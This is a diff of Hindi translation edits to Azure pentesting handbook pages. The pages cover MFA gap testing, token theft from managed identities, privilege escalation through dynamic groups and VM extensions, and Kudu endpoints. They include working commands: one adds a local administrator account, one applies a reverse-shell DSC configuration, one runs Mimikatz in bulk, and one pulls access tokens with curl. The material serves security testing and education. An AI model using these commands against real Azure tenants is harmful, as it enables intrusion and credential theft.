@@ -135,26 +135,26 @@ Invoke-MFASweep -Username <username> -Password <pass>
``` ```
### [donkeytoken](https://github.com/silverhack/donkeytoken) ### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token एक सेट है फ़ंक्शंस का जो सुरक्षा सलाहकारों की मदद करने के लिए है जिन्हें Conditional Access Policies को मान्य करना है, 2FA-सक्षम Microsoft पोर्टल के लिए परीक्षण करना है, आदि Donkey token एक सेट फ़ंक्शंस का है जिसका उद्देश्य सुरक्षा सलाहकारों की मदद करन है जिन्हें Conditional Access Policies को मान्य करन, 2FA-सक्षम Microsoft पोर्टलों के लिए परीक्षण करने आदि की आवश्यकता होती है
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git <pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force </strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre> </strong></code></pre>
**प्रत्येक पोर्टल का परीक्षण करें** कि क्या **MFA के बिना लॉगिन करना संभव है**: **प्रत्येक पोर्टल का परीक्षण करें** कि क्या **MFA के बिना लॉगिन करना संभव है**:
```powershell ```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz" $username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password) $cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
``` ```
क्योंकि **Azure** **पोर्टल** **सीमित** नहीं है, इसलिए **पोर्टल एंडपॉइंट से किसी भी सेवा तक पहुँचने के लिए एक टोकन इकट्ठा करना संभव है जो पिछले निष्पादन द्वारा पता लगाया गया था**। इस मामले में Sharepoint की पहचान की गई, और इसे एक्सेस करने के लिए एक टोकन का अनुरोध किया गया: क्योंकि **Azure** **पोर्टल** **सीमित** नहीं है, इसलिए **पोर्टल एंडपॉइंट से किसी भी सेवा तक पहुँचने के लिए एक टोकन इकट्ठा करना संभव है जो पिछले निष्पादन द्वारा पता लगाया गया था**। इस मामले में Sharepoint की पहचान की गई, और इसे एक्सेस करने के लिए एक टोकन का अनुरोध किया गया:
```powershell ```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token Read-JWTtoken -token $token.access_token
``` ```
मान लीजिए कि टोकन के पास Sites.Read.All (Sharepoint से) की अनुमति है, भले ही आप MFA के कारण वेब से Sharepoint तक पहुँच नहीं पा रहे हैं, फिर भी आप उत्पन्न टोकन के साथ फ़ाइलों तक पहुँचने के लिए टोकन का उपयोग कर सकते हैं: मान लीजिए कि टोकन में Sites.Read.All (Sharepoint से) की अनुमति है, भले ही आप MFA के कारण वेब से Sharepoint तक पहुँच नहीं पा रहे हैं, फिर भी आप उत्पन्न टोकन के साथ फ़ाइलों तक पहुँचने के लिए टोकन का उपयोग कर सकते हैं:
```powershell ```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
``` ```
## संदर्भ ## संदर्भ
@@ -4,7 +4,7 @@
## Basic Information ## Basic Information
**डायनामिक समूह** वे समूह हैं जिनमें एक सेट **नियम** कॉन्फ़िगर किए गए है और सभी **उपयोगकर्ता या उपकरण** जो नियमों से मेल खाते हैं, समूह में जोड़े जाते हैं। हर बार जब एक उपयोगकर्ता या उपकरण का **गुण** **बदला** जाता है, डायनामिक नियमों की **पुनः जांच** की जाती है। और जब एक **नया नियम** **बनाया** जाता है, तो सभी उपकरणों और उपयोगकर्ताओं की **जांच** की जाती है। **डायनामिक समूह** वे समूह हैं जिनमें एक सेट **नियम** कॉन्फ़िगर किया गया है और सभी **उपयोगकर्ता या उपकरण** जो नियमों से मेल खाते हैं, समूह में जोड़े जाते हैं। हर बार जब एक उपयोगकर्ता या उपकरण का **गुण** **बदला** जाता है, डायनामिक नियमों की **पुनः जांच** की जाती है। और जब एक **नया नियम** **बनाया** जाता है, तो सभी उपकरणों और उपयोगकर्ताओं की **जांच** की जाती है।
डायनामिक समूहों को **Azure RBAC भूमिकाएँ सौंपित** की जा सकती हैं, लेकिन डायनामिक समूहों में **AzureAD भूमिकाएँ** जोड़ना **संभव नहीं** है। डायनामिक समूहों को **Azure RBAC भूमिकाएँ सौंपित** की जा सकती हैं, लेकिन डायनामिक समूहों में **AzureAD भूमिकाएँ** जोड़ना **संभव नहीं** है।
@@ -22,8 +22,8 @@
- **नियम विवरण**: कोई भी मेहमान उपयोगकर्ता जिसके पास 'security' स्ट्रिंग वाला एक द्वितीयक ईमेल है, समूह में जोड़ा जाएगा - **नियम विवरण**: कोई भी मेहमान उपयोगकर्ता जिसके पास 'security' स्ट्रिंग वाला एक द्वितीयक ईमेल है, समूह में जोड़ा जाएगा
मेहमान उपयोगकर्ता ईमेल के लिए, निमंत्रण स्वीकार करें और [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView) में **उस उपयोगकर्ता** की वर्तमान सेटिंग्स की जांच करें।\ मेहमान उपयोगकर्ता ईमेल के लिए, निमंत्रण स्वीकार करें और [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView) में **उस उपयोगकर्ता** की वर्तमान सेटिंग्स की जांच करें।\
दुर्भाग्यवश, पृष्ठ गुण मानों को संशोधित करने की अनुमति नहीं देता है, इसलिए हमें API का उपयोग करना होगा: दुर्भाग्यवश, पृष्ठ गुण मानों को संशोधित करने की अनुमति नहीं देता है, इसलिए हमें API का उपयोग करने की आवश्यकता है:
```powershell ```bash
# Login with the gust user # Login with the gust user
az login --allow-no-subscriptions az login --allow-no-subscriptions
@@ -41,7 +41,7 @@ az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \ --url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails" --query "otherMails"
``` ```
## संदर्भ ## References
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/) - [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
@@ -4,7 +4,7 @@
## VMS & Network ## VMS & Network
Azure Virtual Machines और Network के बारे में अधिक जानकारी के लिए देखें: Azure वर्चुअल मशीनों और नेटवर्क के बारे में अधिक जानकारी के लिए देखें:
{{#ref}} {{#ref}}
../az-services/vms/ ../az-services/vms/
@@ -12,8 +12,8 @@ Azure Virtual Machines और Network के बारे में अधिक
### **`Microsoft.Compute/virtualMachines/extensions/write`** ### **`Microsoft.Compute/virtualMachines/extensions/write`**
यह अनुमति वर्चुअल मशीनों में एक्सटेंशन को निष्पादित करने की अनुमति देती है जो **उन पर मनमाना कोड निष्पादित करने** की अनुमति देती है।\ यह अनुमति वर्चुअल मशीनों में एक्सटेंशन निष्पादित करने की अनुमति देती है जो **उन पर मनमाना कोड निष्पादित करने** की अनुमति देती है।\
एक उदाहरण कस्टम एक्सटेंशन का दुरुपयोग करके VM में मनमाने कमांड निष्पादित करना: VM में मनमाने कमांड निष्पादित करने के लिए कस्टम एक्सटेंशन का दुरुपयोग करने का उदाहरण:
{{#tabs }} {{#tabs }}
{{#tab name="Linux" }} {{#tab name="Linux" }}
@@ -79,7 +79,7 @@ az vm extension set \
आप अन्य पेलोड भी निष्पादित कर सकते हैं जैसे: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` आप अन्य पेलोड भी निष्पादित कर सकते हैं जैसे: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- VMAccess एक्सटेंशन का उपयोग करके पासवर्ड रीसेट करें - VMAccess एक्सटेंशन का उपयोग करके पासवर्ड रीसेट करें
```powershell ```bash
# Run VMAccess extension to reset the password # Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -94,7 +94,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>VMAccess extension</summary> <summary>VMAccess extension</summary>
यह एक्सटेंशन Windows VMs के अंदर उपयोगकर्ताओं के पासवर्ड को संशोधित करने (या यदि यह मौजूद नहीं है तो बनाने) की अनुमति देता है। यह एक्सटेंशन Windows VMs के अंदर उपयोगकर्ताओं के पासवर्ड को संशोधित करने (या यदि यह मौजूद नहीं है तो बनाने) की अनुमति देता है।
```powershell ```bash
# Run VMAccess extension to reset the password # Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary> <summary>DesiredConfigurationState (DSC)</summary>
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन को प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है: यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन को प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है:
```powershell ```bash
# Content of revShell.ps1 # Content of revShell.ps1
Configuration RevShellConfig { Configuration RevShellConfig {
Node localhost { Node localhost {
@@ -310,7 +310,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` ## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
ये सभी आवश्यक अनुमतियाँ हैं **एक विशिष्ट प्रबंधित पहचान के साथ VM बनाने** और **एक पोर्ट खुला छोड़ने** के लिए (इस मामले में 22)। यह एक उपयोगकर्ता को एक VM बनाने और उससे कनेक्ट करने और **प्रबंधित पहचान टोकन चुराने** की अनुमति देता है ताकि इसे विशेषाधिकार बढ़ाने के लिए उपयोग किया जा सके। ये सभी आवश्यक अनुमतियाँ हैं **एक विशिष्ट प्रबंधित पहचान के साथ VM बनाने** और **एक पोर्ट खुला छोड़ने** के लिए (इस मामले में 22)। यह एक उपयोगकर्ता को एक VM बनाने और उससे कनेक्ट करने और **प्रबंधित पहचान टोकन चुराने** की अनुमति देता है ताकि इसे बढ़ी हुई विशेषाधिकार प्राप्त हो सके।
स्थिति के आधार पर इस तकनीक का दुरुपयोग करने के लिए अधिक या कम अनुमतियों की आवश्यकता हो सकती है। स्थिति के आधार पर इस तकनीक का दुरुपयोग करने के लिए अधिक या कम अनुमतियों की आवश्यकता हो सकती है।
```bash ```bash
@@ -351,6 +351,6 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
[**दस्तावेज़ों के अनुसार**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), यह अनुमति आपको Windows Admin Center के माध्यम से अपने संसाधन के OS को एक व्यवस्थापक के रूप में प्रबंधित करने देती है। तो ऐसा लगता है कि यह VMs को नियंत्रित करने के लिए WAC तक पहुंच प्रदान करता है... [**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) के अनुसार, यह अनुमति आपको Windows Admin Center के माध्यम से अपने संसाधन के OS को एक व्यवस्थापक के रूप में प्रबंधित करने देती है। तो ऐसा लगता है कि यह VMs को नियंत्रित करने के लिए WAC तक पहुंच प्रदान करता है...
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
@@ -13,7 +13,7 @@
**IDENTITY_HEADER** और **IDENTITY_ENDPOINT** से **access_token** प्राप्त करें: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');` **IDENTITY_HEADER** और **IDENTITY_ENDPOINT** से **access_token** प्राप्त करें: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`
फिर **subscription ID** और अधिक प्राप्त करने के लिए Azure REST API को क्वेरी करें। फिर **subscription ID** और अधिक प्राप्त करने के लिए Azure REST API को क्वेरी करें।
```powershell ```bash
$Token = 'eyJ0eX..' $Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications' # $URI = 'https://graph.microsoft.com/v1.0/applications'
@@ -30,7 +30,7 @@ Headers = @{
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
``` ```
#### Azure API द्वारा Python संस्करण #### Azure API via Python Version
```python ```python
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
@@ -62,6 +62,6 @@ return func.HttpResponse(val, status_code=200)
``` ```
## सेवाओं की सूची ## सेवाओं की सूची
**इस अनुभाग के पृष्ठ Azure सेवा के अनुसार क्रमबद्ध हैं। वहाँ आप सेवा के बारे में जानकारी (यह कैसे काम करता है और क्षमताएँ) और प्रत्येक सेवा को सूचीबद्ध करने के तरीके के बारे में भी जान सकेंगे।** **इस अनुभाग के पृष्ठ Azure सेवा के अनुसार क्रमबद्ध हैं। वहाँ आप सेवा के बारे में जानकारी (यह कैसे काम करता है और क्षमताएँ) और प्रत्येक सेवा को सूचीबद्ध करने के तरीके के बारे में भी जानकारी प्राप्त कर सकेंगे।**
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Basic Information ## Basic Information
Azure Container Registry (ACR) एक प्रबंधित सेवा है जो Microsoft Azure द्वारा **Docker कंटेनर छवियों और अन्य कलाकृतियों को स्टोर और प्रबंधित करने** के लिए प्रदान की जाती है। यह एकीकृत डेवलपर टूल, भू-प्रतिकृति, सुरक्षा उपाय जैसे भूमिका-आधारित पहुंच नियंत्रण और छवि स्कैनिंग, स्वचालित निर्माण, वेबहुक और ट्रिगर्स, और नेटवर्क अलगाव जैसी सुविधाएँ प्रदान करता है। यह लोकप्रिय टूल जैसे Docker CLI और Kubernetes के साथ काम करता है, और अन्य Azure सेवाओं के साथ अच्छी तरह से एकीकृत होता है। Azure Container Registry (ACR) एक प्रबंधित सेवा है जो Microsoft Azure द्वारा **Docker कंटेनर छवियों और अन्य कलाकृतियों को स्टोर और प्रबंधित करने** के लिए प्रदान की जाती है। यह एकीकृत डेवलपर टूल, भू-प्रतिकृति, सुरक्षा उपाय जैसे भूमिका-आधारित पहुंच नियंत्रण और छवि स्कैनिंग, स्वचालित निर्माण, वेबहुक और ट्रिगर्स, और नेटवर्क अलगाव जैसी सुविधाएँ प्रदान करता है। यह Docker CLI और Kubernetes जैसे लोकप्रिय टूल के साथ काम करता है, और अन्य Azure सेवाओं के साथ अच्छी तरह से एकीकृत होता है।
### Enumerate ### Enumerate
@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#endtab }} {{#endtab }}
{{#tab name="Az Powershell" }} {{#tab name="Az Powershell" }}
```powershell ```bash
# List all ACRs in your subscription # List all ACRs in your subscription
Get-AzContainerRegistry Get-AzContainerRegistry
@@ -9,18 +9,18 @@ Azure App Services डेवलपर्स को **वेब एप्लि
प्रत्येक ऐप एक सैंडबॉक्स के अंदर चलता है लेकिन अलगाव App Service योजनाओं पर निर्भर करता है: प्रत्येक ऐप एक सैंडबॉक्स के अंदर चलता है लेकिन अलगाव App Service योजनाओं पर निर्भर करता है:
- फ्री और शेयर किए गए स्तरों में ऐप्स **शेयर किए गए VMs** पर चलते हैं - फ्री और शेयर किए गए स्तरों में ऐप्स **शेयर किए गए VMs** पर चलते हैं
- स्टैंडर्ड और प्रीमियम स्तरों में ऐप्स **विशिष्ट VMs पर चलते हैं जो केवल उसी App Service योजना में ऐप्स द्वारा साझा किए जाते हैं** - स्टैंडर्ड और प्रीमियम स्तरों में ऐप्स **विशेष VMs पर चलते हैं जो केवल उसी App Service योजना में ऐप्स द्वारा साझा किए जाते हैं**
- आइसोलेटेड स्तर **विशिष्ट VMs पर चलते हैं जो विशिष्ट वर्चुअल नेटवर्क पर होते हैं**, ऐप्स के अलगाव में सुधार करते हैं। - आइसोलेटेड स्तर **विशेष VMs पर विशेष वर्चुअल नेटवर्क्स** पर चलते हैं, जो ऐप्स के अलगाव में सुधार करते हैं।
> [!WARNING] > [!WARNING]
> ध्यान दें कि **कोई भी** उन अलगावों में से **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड, या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उन पर विशेषाधिकार बढ़ा सकता है** > ध्यान दें कि **कोई भी** उन अलगावों में से **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड, या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उन पर विशेषाधिकार बढ़ा सकता है**
ऐप्स में कुछ दिलचस्प कॉन्फ़िगरेशन होते हैं: ऐप्स में कुछ दिलचस्प कॉन्फ़िगरेशन हैं:
- **हमेशा चालू**: सुनिश्चित करता है कि ऐप हमेशा चल रहा है। यदि सक्षम नहीं किया गया है, तो ऐप 20 मिनट की निष्क्रियता के बाद चलना बंद कर देगा और जब एक अनुरोध प्राप्त होगा तो फिर से शुरू होगा। - **हमेशा चालू**: सुनिश्चित करता है कि ऐप हमेशा चल रहा है। यदि सक्षम नहीं है, तो ऐप 20 मिनट की निष्क्रियता के बाद चलना बंद कर देगा और एक अनुरोध प्राप्त होने पर फिर से शुरू होगा।
- यदि आपके पास एक वेबजॉब है जिसे लगातार चलने की आवश्यकता है तो यह आवश्यक है क्योंकि यदि ऐप रुकता है तो वेबजॉब भी रुक जाएगा। - यदि आपके पास एक वेबजॉब है जिसे लगातार चलने की आवश्यकता है तो यह आवश्यक है क्योंकि यदि ऐप रुकता है तो वेबजॉब भी रुक जाएगा।
- **SSH**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला एक उपयोगकर्ता SSH का उपयोग करके ऐप से कनेक्ट कर सकता है। - **SSH**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला एक उपयोगकर्ता SSH का उपयोग करके ऐप से कनेक्ट कर सकता है।
- **डबगिंग**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला एक उपयोगकर्ता ऐप को डबग कर सकता है। हालाँकि, यह हर 48 घंटे में स्वचालित रूप से बंद हो जाता है। - **डिबगिंग**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला एक उपयोगकर्ता ऐप को डिबग कर सकता है। हालाँकि, यह हर 48 घंटे में स्वचालित रूप से बंद हो जाता है।
- **वेब ऐप + डेटाबेस**: वेब कंसोल एक डेटाबेस के साथ एक ऐप बनाने की अनुमति देता है। इस मामले में, उपयोग करने के लिए डेटाबेस का चयन करना संभव है (SQLAzure, PostgreSQL, MySQL, MongoDB) और यह आपको Redis के लिए एक Azure Cache बनाने की भी अनुमति देता है। - **वेब ऐप + डेटाबेस**: वेब कंसोल एक डेटाबेस के साथ एक ऐप बनाने की अनुमति देता है। इस मामले में, उपयोग करने के लिए डेटाबेस का चयन करना संभव है (SQLAzure, PostgreSQL, MySQL, MongoDB) और यह आपको Redis के लिए एक Azure Cache बनाने की भी अनुमति देता है।
- डेटाबेस और Redis के लिए क्रेडेंशियल्स वाला URL **appsettings** में संग्रहीत किया जाएगा। - डेटाबेस और Redis के लिए क्रेडेंशियल्स वाला URL **appsettings** में संग्रहीत किया जाएगा।
- **कंटेनर**: कंटेनर के URL और इसे एक्सेस करने के लिए क्रेडेंशियल्स को इंगित करके App Service पर एक कंटेनर तैनात करना संभव है। - **कंटेनर**: कंटेनर के URL और इसे एक्सेस करने के लिए क्रेडेंशियल्स को इंगित करके App Service पर एक कंटेनर तैनात करना संभव है।
@@ -30,25 +30,25 @@ Azure App Services डेवलपर्स को **वेब एप्लि
जब एक वेब ऐप (और एक Azure फ़ंक्शन आमतौर पर) बनाया जाता है, तो यह संकेत देना संभव है कि आप **बुनियादी प्रमाणीकरण सक्षम करना चाहते हैं** (डिफ़ॉल्ट रूप से बंद)। यह मूल रूप से **SCM (स्रोत नियंत्रण प्रबंधक) और FTP (फाइल ट्रांसफर प्रोटोकॉल)** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके। जब एक वेब ऐप (और एक Azure फ़ंक्शन आमतौर पर) बनाया जाता है, तो यह संकेत देना संभव है कि आप **बुनियादी प्रमाणीकरण सक्षम करना चाहते हैं** (डिफ़ॉल्ट रूप से बंद)। यह मूल रूप से **SCM (स्रोत नियंत्रण प्रबंधक) और FTP (फाइल ट्रांसफर प्रोटोकॉल)** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके।
SCM और FTP सर्वरों तक पहुँचने के लिए, एक **उपयोगकर्ता नाम और पासवर्ड** की आवश्यकता होती है। इसलिए, Azure कुछ **API प्रदान करता है ताकि इन प्लेटफार्मों के लिए URLs और क्रेडेंशियल्स प्राप्त किए जा सकें** SCM और FTP सर्वरों तक पहुँचने के लिए, एक **उपयोगकर्ता नाम और पासवर्ड** की आवश्यकता होती है। इसलिए, Azure कुछ **APIs प्रदान करता है जो इन प्लेटफार्मों के लिए URLs** और क्रेडेंशियल्स प्राप्त करने के लिए हैं
**FTP सर्वर में कोई विशेष जादू नहीं है**, बस मान्य URL, उपयोगकर्ता नाम और पासवर्ड के साथ कनेक्ट करना और ऐप वातावरण पर पढ़ने और लिखने की अनुमति प्राप्त करना संभव है। **FTP सर्वर में कोई विशेष जादू नहीं है**, बस मान्य URL, उपयोगकर्ता नाम और पासवर्ड के साथ कनेक्ट करना और ऐप वातावरण पर पढ़ने और लिखने की अनुमति प्राप्त करना संभव है।
SCM SCM
आप एक वेब ब्राउज़र का उपयोग करके SCM से कनेक्ट कर सकते हैं `https://<SMC-URL>/BasicAuth` और वहां सभी फ़ाइलों और तैनातियों की जांच कर सकते हैं। आप एक वेब ब्राउज़र का उपयोग करके `https://<SMC-URL>/BasicAuth` पर SCM से कनेक्ट कर सकते हैं और वहां सभी फ़ाइलों और तैनातियों की जांच कर सकते हैं।
### Kudu ### Kudu
Kudu वह प्लेटफ़ॉर्म है जो **SCM और एक वेब और API इंटरफ़ेस दोनों का प्रबंधन करता है** ताकि एक App Service का प्रबंधन किया जा सके, और Git-आधारित तैनातियों, दूरस्थ डबगिंग, और फ़ाइल प्रबंधन क्षमताएँ प्रदान करता है। यह वेब ऐप में परिभाषित SCM URL के माध्यम से सुलभ है। Kudu वह प्लेटफ़ॉर्म है जो **SCM और एक वेब और API इंटरफ़ेस दोनों का प्रबंधन करता है** ताकि एक App Service का प्रबंधन किया जा सके, और Git-आधारित तैनातियों, दूरस्थ डिबगिंग, और फ़ाइल प्रबंधन क्षमताएँ प्रदान करता है। यह वेब ऐप में परिभाषित SCM URL के माध्यम से सुलभ है।
ध्यान दें कि App Services और Function Apps द्वारा उपयोग किए जाने वाले Kudu संस्करण भिन्न होते हैं, Function apps का संस्करण बहुत अधिक सीमित होता है। ध्यान दें कि App Services और Function Apps द्वारा उपयोग किए जाने वाले Kudu संस्करण भिन्न हैं, Function apps का संस्करण बहुत अधिक सीमित है।
Kudu में आप कुछ दिलचस्प एंडपॉइंट पा सकते हैं: Kudu में आप कुछ दिलचस्प एंडपॉइंट पा सकते हैं:
- `/BasicAuth`: आपको Kudu के अंदर **लॉगिन करने के लिए इस पथ तक पहुँचने** की आवश्यकता है। - `/BasicAuth`: आपको Kudu के अंदर **लॉगिन करने के लिए इस पथ तक पहुँचने** की आवश्यकता है।
- `/DebugConsole`: एक कंसोल जो आपको Kudu चलाने वाले वातावरण में कमांड निष्पादित करने की अनुमति देता है। - `/DebugConsole`: एक कंसोल जो आपको Kudu चलाने वाले वातावरण में कमांड निष्पादित करने की अनुमति देता है।
- ध्यान दें कि इस वातावरण में **मेटाडेटा सेवा तक पहुँच नहीं है** ताकि टोकन प्राप्त किए जा सकें। - ध्यान दें कि इस वातावरण में **मेटाडेटा सेवा तक पहुँच नहीं है** ताकि टोकन प्राप्त किए जा सकें।
- `/webssh/host`: एक वेब-आधारित SSH क्लाइंट जो आपको उस कंटेनर के अंदर कनेक्ट करने की अनुमति देता है जहाँ ऐप चल रहा है। - `/webssh/host`: एक वेब-आधारित SSH क्लाइंट जो आपको उस कंटेनर के अंदर कनेक्ट करने की अनुमति देता है जहाँ ऐप चल रहा है।
- इस वातावरण में **मेटाडेटा सेवा तक पहुँच है** ताकि असाइन किए गए प्रबंधित पहचानों से टोकन प्राप्त किए जा सकें। - इस वातावरण में **मेटाडेटा सेवा तक पहुँच है** ताकि असाइन किए गए प्रबंधित पहचान से टोकन प्राप्त किए जा सकें।
- `/Env`: सिस्टम, ऐप सेटिंग्स, env वेरिएबल्स, कनेक्शन स्ट्रिंग्स और HTTP हेडर के बारे में जानकारी प्राप्त करें। - `/Env`: सिस्टम, ऐप सेटिंग्स, env वेरिएबल्स, कनेक्शन स्ट्रिंग्स और HTTP हेडर के बारे में जानकारी प्राप्त करें।
- `/wwwroot/`: वेब ऐप का रूट डायरेक्टरी। आप यहाँ से सभी फ़ाइलें डाउनलोड कर सकते हैं। - `/wwwroot/`: वेब ऐप का रूट डायरेक्टरी। आप यहाँ से सभी फ़ाइलें डाउनलोड कर सकते हैं।
@@ -56,9 +56,9 @@ Kudu में आप कुछ दिलचस्प एंडपॉइंट
## Sources ## Sources
App Services डिफ़ॉल्ट रूप से कोड को एक ज़िप फ़ाइल के रूप में अपलोड करने की अनुमति देते हैं, लेकिन यह एक तृतीय पक्ष सेवा से कनेक्ट करने और वहां से कोड प्राप्त करने की भी अनुमति देता है। App Services डिफ़ॉल्ट रूप से कोड को एक ज़िप फ़ाइल के रूप में अपलोड करने की अनुमति देते हैं, लेकिन यह एक तीसरे पक्ष की सेवा से कनेक्ट करने और वहां से कोड प्राप्त करने की भी अनुमति देता है।
